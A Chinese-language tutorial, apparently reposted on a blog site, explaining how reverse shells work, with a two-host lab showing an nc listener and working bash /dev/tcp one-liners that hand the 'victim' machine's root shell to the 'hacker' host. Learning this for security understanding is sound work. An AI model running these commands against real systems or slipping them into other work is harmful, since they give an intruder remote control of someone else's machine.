反彈shell原理與實現


什么是反彈shell?

  反彈shell(reverse shell),就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標准shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。

 

為什么要反彈shell?

通常用於被控端因防火牆受限、權限不足、端口被占用等情形。

舉例:假設我們攻擊了一台機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面、web服務、ssh、telnet等等都是正向連接。那么什么情況下正向連接不能用了呢?

有如下情況:

1.某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。 

2.目標機器的ip動態改變,你不能持續控制。

3.由於防火牆等限制,對方機器只能發送請求,不能接收請求。

4.對於病毒,木馬,受害者什么時候能中招,對方的網絡環境是什么樣的,什么時候開關機等情況都是未知的,所以建立一個服務端讓惡意程序主動連接,才是上策。

那么反彈就很好理解了,攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈連接。

 

==============================================================

參考

https://www.zhihu.com/question/24503813   知乎:反彈shell是什么意思啊?網上看了半天都沒有相關的基礎的解釋?

 

反彈shell實驗

環境:兩台CentOS7.6服務器

  • 攻擊端 hacker:10.201.61.194 
  • 受害端 victim:10.201.61.195 

1. 攻擊端監聽一個端口:

[root@hacker ~]# nc -lvp 6767

Ncat: Version 7.50 ( https://nmap.org/ncat )

Ncat: Listening on :::6767

Ncat: Listening on 0.0.0.0:6767

 

2.受害端生成一個反彈shell:

[root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1

 

3.攻擊端已獲取到受害端的bash:

[root@hacker ~]# nc -lvp 6767

Ncat: Version 7.50 ( https://nmap.org/ncat )

Ncat: Listening on :::6767

Ncat: Listening on 0.0.0.0:6767

Ncat: Connection from 10.201.61.195.

Ncat: Connection from 10.201.61.195:46836.

[root@victim ~]#         //攻擊端已獲得受害端的遠程交互式shell

[root@victim ~]# hostname

hostname

victim

 

解釋:

1. nc -lvp 6767

 -l 監聽,-v 輸出交互或出錯信息,-p 端口。nc是netcat的簡寫,可實現任意TCP/UDP端口的偵聽,nc可以作為server以TCP或UDP方式偵聽指定端口。

 

2. bash -i

-i interactive。即產生一個交互式的shell(bash)。

 

3. /dev/tcp/IP/PORT

特殊設備文件(Linux一切皆文件),實際這個文件是不存在的,它只是 bash 實現的用來實現網絡請求的一個接口。打開這個文件就相當於發出了一個socket調用並建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。

 

 

通過以下4個小測試來分析反彈shell實現過程:

(PS: 注意執行步驟順序)

 

測試1:

受害端:

[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566        //第二步
[root@victim ~]# hostname        //第三步
[root@victim ~]#

攻擊端:

[root@hacker ~]# nc -lvp 5566      //第一步

Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:49018.

victim      //測試1結果:實現了將受害端的標准輸出重定向到攻擊端,但是還沒實現用命令控制受害端。

 

測試2:

受害端:

[root@victim ~]# bash -i < /dev/tcp/10.201.61.194/5566        //第二步
[root@victim ~]# hostname        //測試2結果:實現了將攻擊端的輸入重定向到受害端,但是攻擊端看不到命令執行結果。
victim

 攻擊端:

[root@hacker ~]# nc -lvp 5566        //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:50412.
hostname        //第三步(攻擊端執行命令)

 

測試3

受害端:

[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1        //第二步
[root@victim ~]# hostname        //受害端回顯命令
[root@victim ~]# id        //受害端回顯命令
[root@victim ~]# hahaha        //受害端回顯命令
bash: hahaha: command not found        //受害端回顯命令。顯示錯誤命令的輸出。
[root@victim ~]#

 攻擊端:

[root@hacker ~]# nc -lvp 5566        //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:36792.
hostname        //第三步(攻擊端執行命令)
victim
id        //第四步(攻擊端執行命令)
uid=0(root) gid=0(root) groups=0(root)
hahaha        //第五步(執行一個錯誤的命令)

//測試3結果:基本實現了反彈shell的功能。但是受害端的機器上依然回顯了攻擊者機器上執行的命令,且攻擊端看不到錯誤命令的輸出。

 

 測試4(將上面三個測試結合。將標准輸入、標准輸出、錯誤輸出全都重定向到攻擊端): 

受害端:

[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 2>&1        //第二步。或 # bash -i &> /dev/tcp/10.201.61.194/5566 0>&1  (注:&>或>& 表示混合輸出,即標准輸出1 + 錯誤輸出2)

攻擊端:

[root@hacker ~]# nc -lvp 5566        //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:51182.
[root@victim ~]# hostname        //第三步。測試4結果:攻擊端已獲得受害端的遠程交互式shell,而且受害端沒有再回顯攻擊端輸入的命令~
hostname
victim

//PS:由測試3、測試4對比可見,標准錯誤2不僅顯示錯誤信息的作用,居然還有回顯輸入命令和終端提示符的作用~~~

 

總結

本文整理了反彈shell的一些資料並通過實驗理解反彈shell原理。深入理解文件描述符和重定向才能更好弄懂反彈shell~

 

==============================================================

參考:

https://xz.aliyun.com/t/2549   先知社區:Linux 反彈shell(二)反彈shell的本質

https://www.freebuf.com/articles/system/153986.html   FREEBUF:淺析重定向與反彈Shell命令


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM